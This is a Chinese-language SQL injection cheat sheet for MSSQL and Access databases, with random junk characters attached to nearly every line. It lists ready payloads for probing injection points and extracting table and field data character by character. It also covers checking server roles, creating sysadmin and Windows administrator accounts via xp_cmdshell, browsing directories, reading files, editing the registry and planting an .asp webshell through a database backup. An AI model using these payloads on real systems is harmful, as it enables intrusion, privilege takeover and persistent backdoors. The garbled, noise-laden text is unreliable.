1.判断是否有注入;and 1=1 ;and 1=2 JMS(9>+TA
2.初步判断是否是mssql ;and user>0 j}AFE
"9bN+1[<
3.注入参数是字符'and [查询条件] and ''=' 9P<[7u
_"%B7FK
4.搜索时没过滤参数的'and [查询条件] and '%25'=' zA;@@)hwR
Na\WZSu'"
5.判断数据库系统 atW'
Go&D[#
;and (select count(*) from sysobjects)>0 mssql @y/wEBb
_HA$
j2
;and (select count(*) from msysobjects)>0 access Jy
aag-
Jz! Z2c
-.|4Y#b:&
\Fe_rh
6.猜数据库 ;and (select Count(*) from [数据库名])>0 :Yj)CGl$
\i[BP
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 \bx~*FaX
3 s>'hn
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 "z*:'8;E
?~QIALA
9.(1)猜字段的ascii值(access) U5]pi+r
x5Z-{"
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 )*5G">) )p
i0s6aAhgJ
(2)猜字段的ascii值(mssql) zLD|/`
$y?k[Y-~
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 G3G6IP
=9LC<2
10.测试权限结构(mssql) f):~8_0b
R4<lln:[
z1!6%W_.
oy<J6
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 2 /y}a#s
oR*=|B
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- K$
v"Uk
vLO&Lpv
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- /"ymZI!k\
F#{gfh
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- (Bo bB]~a
;p ]y)3
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- =_[Z W
ntP|\E
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
-~4+w
SjdZyJa
;and 1=(select IS_MEMBER('db_owner'));-- R1-k3;v^
J@9}`y=K
~^vC,]hU
-K[782Q
11.添加mssql和系统的帐户 p[2GkP
5=KF!?
;exec master.dbo.sp_addlogin username;-- h~7,`fo
;exec master.dbo.sp_password null,username,password;-- 0"g@!gSrQ
YGsS4ia*4i
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- m/`IGT5J
f'6|OsVQ
;exec master.dbo.xp_cmdshell 'net user username password 5v^L9!`@%v
qXXGF_Q
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- zEw>SP1,
2>\\@1
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 4UAvw
+^6}
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- n$2 RCQ
\nqo%5XL
&gc`<kLu
hFvi5I-b
12.(1)遍历目录 s{/qS3=
XV'fW~j\
;create table dirs(paths varchar(100), id int) T ^JuZG
l>v{
;insert dirs exec master.dbo.xp_dirtree 'c:\' k:#6^!b1
mh;X~.98
;and (select top 1 paths from dirs)>0 NfE.N&vI_c
[$ :
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 2@vj!U 8
FyG6!t%
$gp!w8h
Poa?Ej
(2)遍历目录 F3ZxhkF
H:a|x#"
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- LNQSb4
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 /'y5SlE[J
?kt=z4h9(
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 J?P]EQU
0zqj0
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 m%QqmTH
+zWrLf_Rc
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 iilyw_$H
|Vx~fK S\
:G'xi2bs
,m07p~,V
13.mssql中的存储过程 vW' 5` %
b2h":G|s
xp_regenumvalues 注册表根键, 子键 WfGH|u
lv:U%+A
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 #Y[H8TW
J"[3~&em
xp_regread 根键,子键,键值名 =8{*@>CX
8.I9}_
;exec xp_regread a]1i/3/
,VD6s!(
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 5fHYc0
,L-C(j
xp_regwrite 根键,子键, 值名, 值类型, 值 rrQ0qg
\o9@[t>&2
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ?"@ET9
P`sN&Y~m
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 o5#,\Y[ g
5X;?I/9
xp_regdeletevalue 根键,子键,值名 Cnur"?w@o
hZ#\t
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 EW5]!%
|'@[N,
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 J%4HNW*p
-q(:%;
G4yUC<TqBP
{gIEZ{
14.mssql的backup创建webshell n49s3|#)G
-eYL*Pa
use model nE<J`Wo$f
RQ5P}A
3H
create table cmd(str image); K|~AA"I;
u.&|CF-
insert into cmd(str) values (''); NlFo$Y
a&:>Ped"
backup database model to disk='c:\l.asp'; /a%KS3>V*
9<qx!-s2rr
ZX]A )5G
-$tCF >,
15.mssql内置函数 tnRJ#[Io
' WnpwY
;and (select @@version)>0 获得Windows的版本号 O<iI
3AP YO
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 6+#,=!hF{
(6[Wr}SW5
;and (select user_name())>0 爆当前系统的连接用户 (\q[gyR
jQIV2TY[
;and (select db_name())>0 得到当前连接的数据库 [5pn@o
4`G=q^GL,
/^QFqM;
iXnx1w
16.简洁的webshell #?5VsD8
@YrGyq
use model
573~-Jvx
j~$)c)h"
create table cmd(str image); c8tP+O9
p(7c33SyF
insert into cmd(str) values (''); dff#{
^B6`e^<
backup database model to disk='g:\wwwtest\l.asp';